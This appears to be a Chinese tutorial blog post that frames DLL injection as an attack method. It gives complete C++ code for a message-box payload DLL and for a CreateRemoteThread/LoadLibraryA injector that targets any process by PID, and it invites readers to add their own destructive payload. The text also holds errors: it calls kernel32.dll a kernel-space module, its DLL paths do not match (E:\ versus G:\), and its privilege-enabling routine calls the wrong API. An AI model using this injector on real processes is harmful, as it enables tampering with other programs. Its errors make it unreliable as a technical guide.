dll注入是一种常用的攻击方法,其大概步骤如下:
1,编译出一个DLL,这个DLL的DllMain里面负责搞破坏
2,打开一个目标进程(就是你要搞破坏的进程)
3,在打开的目标进程里面分配一块内存(它的用处是用于放我们要注入的dll名称)
4,得到Kernel32.dll里面的LoadLibraryA的地址(注意,Kernel.dll是内核空间里面的,所以,在所有的进程里面,它的地址都一样的,所以LoadLibrary的地址在所有的进程里面也都是一样的)。
详细代码与过程如下所示:
1,打开Visual studio 2010,并且新建一个空的C++工程,我们不防命名为CPP,当然,如果你想命名为Donald Knuth也是可以的。
2,添加一个新的C++ 文件,不妨命名为ACM.cpp,当然,如果你想命名为BillGates.cpp也是可以的。
3,在上面的ACM.cpp里面输入以下代码:
#include <windows.h> BOOL __stdcall DllMain( HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved ){ switch(dwReason){ case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: MessageBox(NULL, TEXT("DLL加载"), TEXT("message"), MB_OK); break; case DLL_PROCESS_DETACH: case DLL_THREAD_DETACH: MessageBox(NULL, TEXT("DLL卸载"), TEXT("message"), MB_OK); break; } return (TRUE); }
4,新建一个Library.def文件,输入以下内容:
LIBRARY "CPP" EXPORTS DllMain
5,设置这个空项目的类型为dll,并在Linker选项下面的Input下面的Module Definition File里面输入Library.def(上面新建的那个def文件的名字)
6,编译这个工程,得到了一个名字为CPP.dll的文件,将其保存在E:\\的根目录下面。
7,新建一个新的空项目,并添加一个文件main.cpp,输入以下内容:
#undef UNICODE #include <windows.h> #include <iostream> using namespace std; #define _T(queto) TEXT(queto) void EnableProcessPrivilege(LPTSTR lpszPrivilege); void InjectToProcess(DWORD dwProcessID, LPTSTR lpszDllName); int main(){ DWORD dwProcessID; cout<<"Please input the id of process which you want to inject!"<<endl; cin>>dwProcessID; //EnableProcessPrivilege(SE_DEBUG_NAME); InjectToProcess(dwProcessID, "G:\\cpp.dll"); } void EnableProcessPrivilege(LPTSTR lpszPrivilege){ HANDLE hToken; TOKEN_PRIVILEGES priv= {1,{0, 0, SE_PRIVILEGE_ENABLED}}; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); DWORD Size= lstrlen(lpszPrivilege); LookupPrivilegeName(NULL, &(priv.Privileges[0].Luid), lpszPrivilege, &Size); AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(priv), NULL, NULL); CloseHandle(hToken); } void InjectToProcess(DWORD dwProcessID, LPTSTR lpszDllName){ HANDLE hProcToInject= INVALID_HANDLE_VALUE; LPVOID szDllName= NULL; HMODULE hKernel; LPTHREAD_START_ROUTINE ThreadProc; HANDLE hRemoteThread; DWORD dwFileNameLength; __try{ hProcToInject= OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID); if(hProcToInject== NULL){ cout<<"OPen process failed!"<<endl; __leave; } dwFileNameLength= (lstrlen(lpszDllName)+ 1)* sizeof(TCHAR); szDllName= VirtualAllocEx(hProcToInject, 0, dwFileNameLength, MEM_COMMIT, PAGE_READWRITE); if(szDllName== NULL){ cout<<"alloc memory failed!"<<endl; __leave; } if(!WriteProcessMemory(hProcToInject, szDllName, lpszDllName, dwFileNameLength, NULL)){ cout<<"wirite memory failed!"<<endl; __leave; } hKernel = GetModuleHandle(_T("kernel32.dll")); if(hKernel== INVALID_HANDLE_VALUE){ cout<<"get module handle failed!"<<endl; __leave; } ThreadProc= (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel, "LoadLibraryA"); if(ThreadProc== NULL){ cout<<"Get function failed!"<<endl; __leave; } hRemoteThread= CreateRemoteThread(hProcToInject, NULL, 0, ThreadProc, szDllName, 0, NULL); if(hRemoteThread== NULL) __leave; //WaitForSingleObject(hRemoteThread, INFINITE); } __finally{ } }
8,然后编译运行,会弹出一个黑框(Console),并提示你输入你要注入的进程的PID,此时,你可以打开任务管理器,并打开查看->选择列下面的pID标签。在这里你可以看到所有进程的PID,你那个黑框上面输入你想注入的进程的PID就可以了。至此,dll注入已经完成,当然,我没有搞破坏,如果你想搞破坏,那是你的事。
代码说明:
有些人可能说,我这里面非要在任务管理器里面输入PID,其实完全可以不需要这样,你可以使用Process32First和Process32Next两个函数遍历系统进程列表,然后从中找到你要注入的进程列表。